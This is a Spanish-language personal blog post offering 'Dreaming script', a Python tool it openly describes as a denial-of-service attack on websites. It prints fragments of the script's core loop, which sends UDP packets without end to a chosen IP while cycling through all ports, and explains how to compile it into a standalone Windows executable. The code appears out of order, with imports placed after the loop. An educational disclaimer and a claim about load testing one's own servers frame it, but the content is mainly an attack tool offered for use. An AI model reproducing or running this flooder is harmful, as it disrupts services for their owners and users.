Dreaming script en python para hacer peticiones simultaneas
Esta herramienta la publico para hacer un un buen uso de ella, ya que nos puede servir para auditar la configuración de nuestros propios servidores frente a estos ataques. Un ataque DoS puede ser perpetrado de varias formas. Aunque básicamente consisten en: Consumo de recursos computacionales, tales como ancho de banda, espacio de disco, o tiempo de procesador. Alteración de información de configuración, tales como información de rutas de encaminamiento. Alteración de información de estado, tales como interrupción de sesiones TCP (TCP reset). Interrupción de componentes físicos de red. Obstrucción de medios de comunicación entre usuarios de un servicio y la víctima, de manera que ya no puedan comunicarse adecuadamente. “Dreaming Script” es un pequeño script que esta desarrollado en python que nos permite con éxito un ataque de denegación de servicio en un sitio web. El funcionamiento es muy sencillo, se conecta y hace una petición de la URI especificada Requisitos
Ejemplo de un ataque Dreaming .py también existe el ejecutable que puedes descargar sin necesidad de instalar python
≪ °° ≫
≪ °° ≫
Código
≪ °° ≫
ip = raw_input("Ingrese la ip: ") port = input("Puerto(por defecto 80): ") time.sleep(3) sent = 0 while True: sock.sendto(bytes, (ip,port)) sent = sent + 1 port = port + 1 print "Paquete %s ip %s atacando con los puertos:%s"%(sent,ip,port) if port == 65534: port = 1
≪ °° ≫
Para compilar abrimos powershell pero antes creamos un archivo setup.py
≪ °° ≫
≪ °° ≫
Y ejecutamos el siguiente comando powerhell python setup.py py2exe observamos que se compilo
≪ °° ≫
≪ °° ≫
En ocasiones, esta herramienta ha sido utilizada como un buen método para comprobar la capacidad de tráfico que un ordenador puede soportar sin volverse inestable y afectar a los servicios que presta. Un administrador de redes puede así conocer la capacidad real de cada máquina.
≪ °° ≫
≪ °° ≫
≪ °° ≫
≪ °° ≫
Si tienes algún problema, deja un comentario. Referencias
import sys import os import time import socket import random #Code Time from datetime import datetime now = datetime.now() hour = now.hour minute = now.minute day = now.day month = now.month year = now.year
ADVERTENCIA: NO INTENTE HACER UN ATAQUE SIN EL PERMISO DE PROPIETARIO DEL SITIO WEB. ES UN PROPÓSITO EDUCATIVO SOLAMENTE. NO ES RESPONSABLE DE NINGUN TIPO DE PROBLEMA ILEGAL.
Hola soy Luishiño estudio la carrera de ing. sistemas y este es mi Blog personal aquí es donde me gusta escribir sobre temas que en su momento me interesan. Aveces sobre mi vida personal y principalmente cosas de programación ,desarrollo web.Aplicaciones,Software, programas que yo mismo las desarrollo y cosas básicas de informática. Nadie es como tú y ese es tú súper poder ¯\(°_o)/¯ Sigue mi blog
Mi nombre es Luishiño aquí es donde me gusta escribir sobre temas que en su momento me interesan. Aveces sobre mi vida personal y principalmente cosas de programación ,desarrollo web.Aplicaciones,Software, programas que yo mismo las desarrollo y cosas básicas de informática.